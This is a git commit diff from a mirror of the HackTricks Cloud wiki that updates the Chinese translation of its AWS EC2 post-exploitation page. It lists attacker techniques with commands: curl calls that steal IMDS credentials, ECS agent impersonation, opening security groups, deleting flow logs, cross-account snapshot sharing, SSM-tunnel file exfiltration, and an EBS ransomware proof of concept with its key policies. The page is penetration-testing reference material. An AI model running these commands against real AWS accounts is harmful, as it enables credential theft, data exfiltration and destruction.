mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -4,26 +4,26 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
欲了解更多信息，请查看：
|
||||
更多信息请参见：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **恶意 VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **会复制 VPC 内 EC2 实例的入站和出站流量**，无需在实例本身安装任何东西。通常这些复制的流量会被发送到诸如网络入侵检测系统 (IDS) 之类的地方进行分析与监控。\
|
||||
攻击者可能滥用此功能以捕获所有流量并从中获取敏感信息：
|
||||
VPC traffic mirroring 会在无需在实例上安装任何东西的情况下，复制 VPC 内 EC2 实例的入站和出站流量。这个被复制的流量通常会发送到类似网络入侵检测系统 (IDS) 的设备进行分析和监控。\
|
||||
攻击者可以滥用此功能来捕获所有流量并从中获取敏感信息：
|
||||
|
||||
欲了解更多信息，请查看该页面：
|
||||
欲了解更多，请参见此页面：
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### 复制正在运行的实例
|
||||
### Copy Running Instance
|
||||
|
||||
实例通常包含某种敏感信息。有多种方法可以进入（请查看 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。然而，另一种检查其内容的方法是**创建 AMI 并从中运行一个新的实例（甚至在你自己的账户中）**：
|
||||
Instances 通常包含某种敏感信息。存在不同的方法可以进入（check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。然而，另一种检查其内容的方法是 **create an AMI and run a new instance (even in your own account) from it**：
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**快照是磁盘卷的备份**，通常会包含**敏感信息**，因此检查它们通常会暴露这些信息。\
|
||||
如果你发现一个**没有快照的卷**，你可以：**创建一个快照**并执行以下操作，或直接在账号内**将其挂载到一个实例**：
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
如果你发现一个 **volume without a snapshot**，你可以：**Create a snapshot** 并执行下面的操作，或者直接在该账号内将它 **mount it in an instance**：
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
使用 `CreateStoreImageTask` 将 EC2 AMI 直接导出到 S3，以获得未通过快照共享的原始磁盘镜像。这允许在不触及实例网络的情况下进行完整的离线取证或数据窃取。
|
||||
使用 `CreateStoreImageTask` 将一个 EC2 AMI 直接导出到 S3，以获取未通过 snapshot 共享的原始磁盘镜像。这样可以进行完整的离线取证或 data theft，同时保持实例网络不被触及。
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
将一个 io1/io2 Multi-Attach 卷附加到第二台实例并以只读方式挂载，以在不使用快照的情况下抽取实时数据。当受害者卷在同一 AZ 已启用 Multi-Attach 时，这非常有用。
|
||||
将 io1/io2 Multi-Attach volume 附加到第二个实例并以只读方式挂载，从而在不创建 snapshots 的情况下窃取实时数据。当目标 volume 已在同一 AZ 启用 Multi-Attach 时特别有用。
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
创建一个 EC2 Instance Connect Endpoint，授权入站，并注入短期 SSH 密钥，通过托管隧道访问私有实例。可以在不打开公共端口的情况下快速获得横向移动路径。
|
||||
创建一个 EC2 Instance Connect Endpoint，授权 ingress，并注入临时的 SSH keys，通过受管的隧道访问私有实例。可在不打开公网端口的情况下快速实现横向移动。
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
将受害者 ENI 的次要私有 IP 移到攻击者控制的 ENI，以冒充按 IP 列入允许列表的受信任主机。可绕过针对特定地址的内部 ACL 或 SG 规则。
|
||||
将受害者 ENI 的 secondary private IP 移到攻击者控制的 ENI 上，以冒充被 IP 列入 allowlist 的受信任主机。可绕过基于特定地址的内部 ACLs 或 SG 规则。
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
将 Elastic IP 从受害实例重新关联到攻击者，以拦截入站流量或发起看似来自受信任公网 IP 的出站连接。
|
||||
将 Elastic IP 从受害实例重新关联到攻击者，以拦截入站流量或发起看起来源自受信任公网 IP 的出站连接。
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
如果某个 Security Group 规则引用了 customer-managed prefix list，向该列表添加攻击者的 CIDR 会在不修改 SG 本身的情况下，悄然扩大所有依赖该列表的规则的访问范围。
|
||||
如果 security group 规则引用了 customer-managed prefix list，向该列表添加攻击者的 CIDRs 会在不修改 SG 本体的情况下，静默地扩展对所有依赖规则的访问。
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
创建 gateway 或 interface VPC endpoints，以从隔离子网恢复出站访问。利用 AWS-managed private links 可以绕过缺失的 IGW/NAT 控制以进行数据外传。
|
||||
创建 gateway 或 interface VPC endpoints，以从被隔离的子网恢复出站访问。利用 AWS-managed private links 可以绕过缺失的 IGW/NAT 控制以进行 data exfiltration。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
拥有 ec2:AuthorizeSecurityGroupIngress 权限的攻击者可以向 Security Group 添加入站规则（例如，允许来自 0.0.0.0/0 的 tcp:80），从而将内部服务暴露到公共互联网或其他未授权网络。
|
||||
拥有 ec2:AuthorizeSecurityGroupIngress 权限的攻击者可以向 security groups 添加入站规则（例如允许 tcp:80 来自 0.0.0.0/0），从而将内部服务暴露到 public Internet 或其他未授权网络。
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
拥有 ec2:ReplaceNetworkAclEntry（或类似）权限的攻击者可以修改子网的 Network ACLs (NACLs)，使其变得非常宽松——例如在关键端口上允许 0.0.0.0/0——从而将整个子网范围暴露给互联网或未授权的网络分段。与按实例应用的 Security Groups 不同，NACLs 在子网级别生效，因此更改一个本来严格的 NACL 可以通过允许对更多主机的访问而产生更大的影响范围。
|
||||
拥有 `ec2:ReplaceNetworkAclEntry`（或类似）权限的攻击者可以修改子网的 Network ACLs (NACLs)，使其变得非常宽松 —— 例如在关键端口上允许 0.0.0.0/0 —— 从而将整个子网范围暴露给 Internet 或未授权的网络段。与按实例应用的 Security Groups 不同，NACLs 在子网级别应用，因此更改一个受限的 NACL 可能会产生更大的影响范围，使更多主机获得访问权限。
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
拥有 ec2:Delete* 和 iam:Remove* 权限的攻击者可以删除关键基础设施资源和配置 — 例如 key pairs、launch templates/versions、AMIs/snapshots、volumes 或 attachments、security groups 或 rules、ENIs/network endpoints、route tables、gateways，或 managed endpoints。 这可能导致立即的服务中断、数据丢失以及取证证据的丢失。
|
||||
拥有 ec2:Delete* 和 iam:Remove* 权限的攻击者可以删除关键基础设施资源和配置——例如 key pairs、launch templates/versions、AMIs/snapshots、volumes or attachments、security groups or rules、ENIs/network endpoints、route tables、gateways 或 managed endpoints。 这可能导致立即的服务中断、数据丢失以及取证证据的丢失。
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -140,7 +140,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
将 VPC Flow Logs 指向由攻击者控制的 S3 bucket，以持续在受害者账户外收集网络元数据（source/destination、ports），用于长期侦察。
|
||||
将 VPC Flow Logs 指向攻击者控制的 S3 bucket，以在受害者账户之外持续收集网络元数据（源/目的地、端口），用于长期侦察。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,87 +150,125 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
即使你将 EC2 锁定以阻止出站流量，它仍然可以 **exfil via DNS**。
|
||||
即使你将 EC2 锁定以阻止外发流量，它仍然可以 **exfil via DNS**。
|
||||
|
||||
- **VPC Flow Logs 不会记录此类流量。**
|
||||
- **VPC Flow Logs 不会记录这种情况**。
|
||||
- 你无法访问 AWS 的 DNS 日志。
|
||||
- 通过将 "enableDnsSupport" 设置为 false 来禁用，命令：
|
||||
- 通过将 "enableDnsSupport" 设置为 false 来禁用它，命令：
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
攻击者可以调用其控制的账户的 API endpoints。Cloudtrail 会记录这些调用，攻击者能够在 Cloudtrail 日志中看到 exfiltrate 的数据。
|
||||
攻击者可以调用其控制的账户的 API endpoints。Cloudtrail 会记录这些调用，攻击者能够在 Cloudtrail 日志中看到 exfiltrate data。
|
||||
|
||||
### Open Security Group
|
||||
|
||||
通过像下面这样打开端口，你可以进一步访问网络服务：
|
||||
通过像下面这样开放端口，你可以进一步访问网络服务：
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
可以运行一个 EC2 实例并将其注册为可用于运行 ECS 实例，然后窃取这些 ECS 实例的数据。
|
||||
可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例，然后窃取 ECS 实例的数据。
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### 删除 VPC flow logs
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
在运行于 EC2 container instance 的任意 ECS task 内部遭到入侵，通常足以转向主机角色并获取与该节点上所有其他任务相关联的 IAM 角色。因为对 ECS-on-EC2 来说**没有任务隔离**，每个任务默认都可以查询 EC2 Instance Metadata Service (IMDS)、窃取 container instance profile，然后使用 ECS agent 与 control plane 通信时使用的相同 WebSocket 协议（即 **ECScape** 原语）请求该主机上当前调度的每个任务的凭证。Latacora 在他们的 [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) 中记录了该工作流程，下面的进攻性摘要对其进行了浓缩。
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **从容器内部窃取 instance profile。** 假设需要 IMDSv2，因此先请求一个 token，然后获取 profile。
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **使用 container instance role 冒充 ECS agent。** 使用这些凭证，你可以与 ECS agent 使用的未记录 WebSocket 通道通信；control plane 会把你当作真实 agent 并向你的进程下发**所有任务的 IAM 凭证**。你现在可以在本地运行更高权限的任务、导出任务环境中的 secrets，或更新 services/tasks 以重新部署你可以完全检查的工作负载。
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
将 IMDSv2 设置为 `HttpTokens=required` 且 `HttpPutResponseHopLimit=1` 只会阻止位于额外跳数（Docker bridge）之后的任务。其他网络模式仍然与 Nitro controller 保持一跳之内，仍能接收到响应：
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | 每个任务都有自己的 ENI，仍然距离 IMDS 一跳，因此 tokens 和 metadata 响应能够成功到达。 |
|
||||
| `host` | ✅ | 任务共享主机命名空间，因此它们看到的跳数与 EC2 实例相同。 |
|
||||
| `bridge` | ❌ | 响应在 Docker bridge 上中断，因为额外的跳数耗尽了 hop limit。 |
|
||||
|
||||
因此，**切勿假设 hop limit 1 可以保护 awsvpc 或 host-mode 工作负载**——始终在容器内部进行测试。
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** 安全组、NACL 或路由调整无法阻止 link-local 地址 169.254.169.254，因为 Nitro 在主机上注入了它。检查 `/etc/ecs/ecs.config` 中是否存在 `ECS_AWSVPC_BLOCK_IMDS=true`。如果该标志缺失（默认），你可以直接从任务内 curl IMDS。如果设置了该标志，则需要转入 host/agent namespace 将其改回，或在 awsvpc 之外执行你的工具。
|
||||
|
||||
- **bridge mode:** 当 metadata 请求失败且已配置 hop limit 1 时，防御方很可能插入了一个 `DOCKER-USER` 的 drop 规则，例如 `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`。列出 `iptables -S DOCKER-USER` 即可发现该规则，获得 root 权限后你可以在查询 IMDS 之前删除或重排该规则。
|
||||
|
||||
- **host mode:** 检查 agent 配置中是否有 `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`。该设置会完全移除任务的 IAM 角色，因此你必须要么重新启用它，要么切换到 awsvpc 任务，或者通过主机上的另一个进程窃取凭证。当该值为 `true`（默认）时，所有 host-mode 进程——包括被攻陷的容器——都能访问 IMDS，除非存在专门针对 `169.254.169.254` 的 eBPF/cgroup 过滤；搜索引用该地址的 tc/eBPF 程序或 iptables 规则。
|
||||
|
||||
Latacora 甚至发布了 [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) ，你可以将其放入目标账户以枚举哪些网络模式仍暴露 metadata，并据此规划下一步操作。
|
||||
|
||||
一旦你弄清楚哪些模式暴露 IMDS，就可以规划后渗透路径：针对任意 ECS 任务，请求 instance profile，冒充 agent，并收集其他每个任务的角色以在集群内进行横向移动或持久化。
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
所需权限：
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
|
||||
One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
|
||||
除了命令执行外，SSM 还允许 traffic tunneling，这可以被滥用来从因 Security Groups 或 NACLs 而没有网络访问的 EC2 实例进行 pivot。
|
||||
其中一个有用的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) pivoting 到私有 EKS cluster。
|
||||
|
||||
> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> 要启动会话你需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Install the SessionManagerPlugin on your machine
|
||||
2. Log in to the Bastion EC2 using the following command:
|
||||
1. 在你的机器上安装 SessionManagerPlugin
|
||||
2. 使用以下命令登录 Bastion EC2：
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. 获取 Bastion EC2 的 AWS 临时凭证，使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本
|
||||
4. 将凭证传到你自己的机器，在 `$HOME/.aws/credentials` 文件中作为 `[bastion-ec2]` 配置文件
|
||||
5. 以 Bastion EC2 的身份登录到 EKS:
|
||||
3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 的 AWS 临时凭证
|
||||
4. 将凭证传到你自己的机器，在 `$HOME/.aws/credentials` 文件中作为 `[bastion-ec2]` 配置档案
|
||||
5. 以 Bastion EC2 身份登录到 EKS：
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. 将 `$HOME/.kube/config` 文件中的 `server` 字段更新为指向 `https://localhost`
|
||||
7. 创建 SSM 隧道，方法如下：
|
||||
6. 将 `$HOME/.kube/config` 文件中的 `server` 字段更新为指向 `https://localhost`
|
||||
7. 创建一个 SSM 隧道，方法如下：
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. 现在，`kubectl` 工具的流量通过 SSM 隧道经由 Bastion EC2 转发，你可以在自己的机器上运行以下命令来访问私有的 EKS 集群：
|
||||
8. 来自 `kubectl` 工具的流量现在通过 Bastion EC2 的 SSM 隧道转发，您可以在本机运行以下命令访问私有 EKS 集群：
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
注意，除非你设置了 `--insecure-skip-tls-verify ` 标志（或在 K8s 审计工具中使用等效选项），否则 SSL 连接会失败。由于流量通过安全的 AWS SSM 隧道传输，你免受任何形式的 MitM 攻击。
|
||||
注意：除非你设置 `--insecure-skip-tls-verify` 标志（或在 K8s 审计工具中使用等效设置），否则 SSL 连接会失败。由于流量通过安全的 AWS SSM 隧道传输，你免受任何类型的 MitM 攻击。
|
||||
|
||||
最后，这种技术并不限于攻击私有 EKS 集群。你可以设置任意域名和端口以 pivot 到任何其他 AWS 服务或自定义应用。
|
||||
最后，这种技术并不限于攻击私有 EKS 集群。你可以设置任意域名和端口来 pivot 到任何其他 AWS 服务或自定义应用。
|
||||
|
||||
---
|
||||
|
||||
#### 快速 本地 ↔️ 远程 端口转发 (AWS-StartPortForwardingSession)
|
||||
|
||||
如果你只需要将 **一个 TCP 端口从 EC2 实例转发到本地主机**，可以使用 `AWS-StartPortForwardingSession` SSM 文档（不需要远程主机参数）：
|
||||
如果你只需要将 **一个 TCP 端口从 EC2 实例转发到你的本地主机**，可以使用 `AWS-StartPortForwardingSession` SSM 文档（不需要远程主机参数）：
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
该命令在你的工作站 (`localPortNumber`) 与实例上所选端口 (`portNumber`) 之间建立一个双向隧道，**without opening any inbound Security-Group rules**。
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**。
|
||||
|
||||
常见用例：
|
||||
|
||||
* **File exfiltration**
|
||||
1. 在实例上启动一个指向你想要 exfiltrate 的目录的快速 HTTP 服务器：
|
||||
1. 在实例上启动一个指向你想要 exfiltrate 的目录的简易 HTTP 服务器：
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
@@ -242,7 +280,7 @@ python3 -m http.server 8000
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **访问内部 web 应用（例如 Nessus）**
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
提示：在 exfiltrating 之前压缩并加密证据，以便 CloudTrail 不记录明文内容：
|
||||
提示：在 exfiltrating 之前压缩并加密证据，以便 CloudTrail 不会记录明文内容:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -261,7 +299,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### 在公共和私有 AMIs 中搜索敏感信息
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个工具，旨在**在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息**。它自动化了从目标 AMIs 启动实例、挂载其卷并扫描潜在 secrets 或敏感数据的过程。
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel 是一个工具，旨在 **在公共或私有 Amazon Machine Images (AMIs) 中搜索敏感信息**。它自动化了从目标 AMIs 启动实例、挂载其卷，并扫描潜在 secrets 或敏感数据的过程。
|
||||
|
||||
### 共享 EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +307,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
这是一个与 S3 post-exploitation notes 中演示的 Ransomware demonstration 类似的 proof of concept。鉴于 KMS 非常容易被用来对各种 AWS 服务进行加密，应该将 KMS 重命名为 RMS（Ransomware Management Service）。
|
||||
这是一个概念验证，与 S3 post-exploitation notes 中演示的 Ransomware 演示类似。KMS 应该被称为 RMS（Ransomware Management Service），因为它可以如此轻松地用于对各种 AWS 服务进行加密。
|
||||
|
||||
首先，从一个 'attacker' AWS account 中，在 KMS 创建一个 customer managed key。对于本例，我们只是让 AWS 为我管理密钥数据，但在真实场景中，a malicious actor 会将密钥数据保留在 AWS 控制之外。将 key policy 更改为允许任何 AWS account Principal 使用该密钥。对于此 key policy，账户名为 'AttackSim'，允许所有访问的 policy 规则名为 'Outside Encryption'。
|
||||
首先，从一个 'attacker' AWS 账户，在 KMS 中创建一个 customer managed key。对于本示例，我们让 AWS 为我管理密钥数据，但在现实场景中，恶意行为者会将密钥数据保留在 AWS 控制之外。更改 key policy，以允许任何 AWS 账户 Principal 使用该密钥。对于该 key policy，账户名为 'AttackSim'，允许全部访问的策略规则名为 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +401,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
密钥策略规则需要启用以下权限，才能用于加密 EBS 卷：
|
||||
要允许使用该密钥来加密一个 EBS 卷，密钥策略规则需要启用以下权限：
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +409,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
现在有一个可公开访问的密钥可用。我们可以使用一个 'victim' 账户，该账户运行了一些附加了未加密 EBS 卷的 EC2 实例。我们针对的是这个 'victim' 账户的 EBS 卷进行加密；此攻击是假定已经入侵了一个高权限的 AWS 账户。
|
||||
现在有了可公开访问的密钥可以使用。我们可以使用一个有一些启动并附加了未加密 EBS 卷的 EC2 实例的 'victim' 账户。该 'victim' 账户的 EBS 卷就是我们要加密的目标；此攻击假定已经入侵了一个高权限的 AWS 账户。
|
||||
|
||||
 
|
||||
|
||||
类似于 S3 ransomware 示例。该攻击将使用 snapshots 创建附加 EBS 卷的副本，使用来自 'attacker' 账户的公开可用密钥对新的 EBS 卷进行加密，然后从 EC2 实例上分离并删除原始 EBS 卷，最后删除用于创建这些新加密 EBS 卷的 snapshots。 
|
||||
类似于 S3 勒索软件示例。此攻击会使用 snapshots 为附加的 EBS 卷创建副本，使用 'attacker' 账户中公开可用的密钥对新的 EBS 卷进行加密，然后从 EC2 实例分离并删除原始 EBS 卷，最后删除用于创建新加密 EBS 卷的 snapshots。 
|
||||
|
||||
结果是账户中只剩下加密的 EBS 卷可用。
|
||||
最终该账户中只剩下已加密的 EBS 卷。
|
||||
|
||||
|
||||
|
||||
还值得注意的是，脚本停止了 EC2 实例以便分离并删除原始 EBS 卷。原始未加密的卷现在已经消失。
|
||||
值得注意的是，脚本停止了 EC2 实例以分离并删除原始 EBS 卷。原始未加密的卷现在已经不存在了。
|
||||
|
||||
|
||||
|
||||
接下来，返回到 'attacker' 账户中的密钥策略，并从密钥策略中移除 'Outside Encryption' 策略规则。
|
||||
接下来，回到 'attacker' 账户的密钥策略中，从密钥策略中移除 'Outside Encryption' 策略规则。
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +494,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
等一会儿让新设置的密钥策略 (key policy) 生效。然后回到 'victim' 账户，尝试挂载其中一个新加密的 EBS 卷。你会发现可以挂载该卷。
|
||||
等一会儿，等待新设置的密钥策略生效。然后返回到 'victim' 账户并尝试附加一个新加密的 EBS 卷。你会发现可以附加该卷。
|
||||
|
||||
 
|
||||
|
||||
但当你尝试用加密的 EBS 卷真正启动该 EC2 实例时，会失败，实例会从 'pending' 状态一直回到 'stopped' 状态，因为所附的 EBS 卷无法使用该 key 解密，原因是 key policy 不再允许。
|
||||
但是，当你尝试用该已加密的 EBS 卷实际启动 EC2 实例时，它会失败，并从 'pending' 状态一直回到 'stopped' 状态，因为所附的 EBS 卷无法使用该密钥解密，原因是密钥策略不再允许。
|
||||
|
||||
 
|
||||
|
||||
这是所用的 python 脚本。它接受针对 'victim' 账户的 AWS creds 和一个用于加密的公开可用 AWS ARN。脚本会对目标 AWS 账户中 ALL EC2 实例上挂载的 ALL 可用 EBS 卷制作加密副本，然后停止每个 EC2 实例，分离原始 EBS 卷，删除它们，最后删除过程中使用的所有 snapshots。这样目标 'victim' 账户中只会剩下加密的 EBS 卷。仅在测试环境中使用此脚本 —— 它具有破坏性并会删除所有原始 EBS 卷。你可以使用所用的 KMS key 并通过 snapshots 将它们恢复到原始状态，但要提醒你的是，这归根结底是一个 ransomware PoC。
|
||||
下面是所使用的 python 脚本。它接受针对 'victim' 账户的 AWS creds 和用于加密的公开可用 AWS ARN 值。脚本会对目标 AWS 账户中所有 EC2 实例所挂载的所有可用 EBS 卷制作加密副本，然后停止每台 EC2 实例，分离原始 EBS 卷并删除它们，最后删除过程中使用的所有 snapshots。这样目标 'victim' 账户中将只剩下加密的 EBS 卷。仅在测试环境中使用该脚本，因其具有破坏性，会删除所有原始 EBS 卷。你可以使用所使用的 KMS key 通过 snapshots 恢复它们并还原到原始状态，但需要提醒的是，这归根结底是一个 ransomware PoC。
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -583,6 +621,8 @@ main()
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
